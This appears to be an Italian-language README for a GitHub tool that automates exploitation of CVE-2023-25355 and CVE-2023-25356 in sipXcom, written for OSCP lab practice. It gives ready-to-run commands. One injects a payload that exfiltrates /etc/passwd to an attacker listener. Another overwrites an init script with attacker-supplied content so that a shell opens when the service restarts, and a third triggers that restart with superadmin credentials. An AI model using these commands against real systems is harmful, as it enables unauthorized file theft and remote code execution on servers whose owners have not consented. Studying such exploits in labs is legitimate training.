glefait/cve-2023-25355-25356CVE-2023-25355 e CVE-2023-25356 con ricarica automatica del servizio
L'exploit è stato trovato da [email protected] ed è presentato in due fantastici lavori:
Un repository per automatizzare ulteriormente questa vulnerabilità è stato pubblicato da Alex Linov:
CVE-2023-25355 è un meccanismo di esfiltrazione in cui i file sul server sipXcom vengono caricati su un server web controllato dall'attaccante.
CVE-2023-25356 è un'estensione della prima vulnerabilità in cui i file controllati dall'attaccante possono essere scritti sul filesystem del server sipXcom. Poiché il servizio sipXcom è in grado di sovrascrivere la propria configurazione di init, una shell può quindi essere ottenuta facilmente non appena il servizio viene riavviato.
Il punto interessante da notare qui è che l'utente superadmin di sipXcom è in grado di riavviare questo servizio. Pertanto lo scopo di questo pacchetto è automatizzare completamente il riavvio di questo servizio.
Per preparare l'OSCP, ci sono laboratori con macchine da compromettere.
In un laboratorio specifico, una macchina soggetta a questa vulnerabilità era/è piuttosto instabile, il che significa che a volte era necessario avviare e ripristinare il laboratorio più volte. Questo è fastidioso. Una volta automatizzato, diventa meno fastidioso.
Hai bisogno di:
poetry install
Poi puoi eseguire lo strumento dall'ambiente attivo, dalla directory corrente o altrove con il nome della CVE:
# se l'ambiente poetry è attivo (poetry shell)
cve_2023_25355 --help
# altrimenti, dalla directory corrente
poetry run cve_2023_25355 --help
# altrimenti da un'altra directory
poetry -C /shared/tools/CVE/CVE-2023-25355 run cve_2023_25355 --help
Nell'esempio seguente, inviamo un payload per esfiltrare il file /etc/passwd che verrà caricato su un listener http controllato.
cve_2023_25355 \
--xmpp-username my_username --xmpp-password my_password --xmpp-target-username friend_username \
--xmpp-server-address 1.2.3.4 \
--payload '--data-binary @/etc/passwd http://ATTACKER-WEB-LISTENER/some_path'
Nell'esempio seguente, inviamo un payload per sovrascrivere il file /etc/init.d/openfire con il contenuto dell'URI fornito.
cve_2023_25356 \
--xmpp-username my_username --xmpp-password my_password --xmpp-target-username friend_username \
--xmpp-server-address 1.2.3.4 \
--sipxcom-init-file-source-uri 'http://ATTACKER-WEB-LISTENER/my-offensive-sipx-config'
Poi, se conosciamo la password del superadmin, possiamo riavviare il servizio per ricaricare la configurazione e attivare qualsiasi gadget.
run sipxcom_service_restart \
--sipxcom-superuser-username superadmin \
--sipxcom-superuser-password superadmin_password \
--sipxcom-website https://1.2.3.4/
--debug-local-directory /tmp
./proxychains4 -f proxychains.conf cve_2023_25355 [...] --xmpp-server-address 172.1.2.3
Progetto: